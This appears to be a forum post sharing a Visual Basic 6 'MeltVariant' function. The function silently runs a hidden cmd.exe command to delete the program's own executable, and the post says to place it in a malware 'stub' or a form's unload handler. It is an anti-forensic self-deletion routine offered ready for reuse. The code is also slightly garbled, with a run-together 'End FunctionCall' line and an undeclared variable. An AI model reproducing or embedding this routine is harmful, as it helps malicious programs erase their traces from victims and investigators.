Código: Seleccionar todo
'___________________________________________________________________
'Function MeltVariant
'Coded By The Swash at 24/12/2009
'Contact: [email protected]
'www.Indetectables.Net
'___________________________________________________________________
Public Function MeltVariant()
On Error Resume Next
Dim MyPath As String
MyPath = App.Path & "\" & App.EXEName & ".exe"
If GetAttr(MyPath) Then
MeltSimple = False
Shell "cmd.exe /c del" & " " & Chr(34) & MyPath & Chr(34), vbHide
End If
End FunctionCall MeltVariant
For use place it at the end stub
For use in form place in Form_Unload
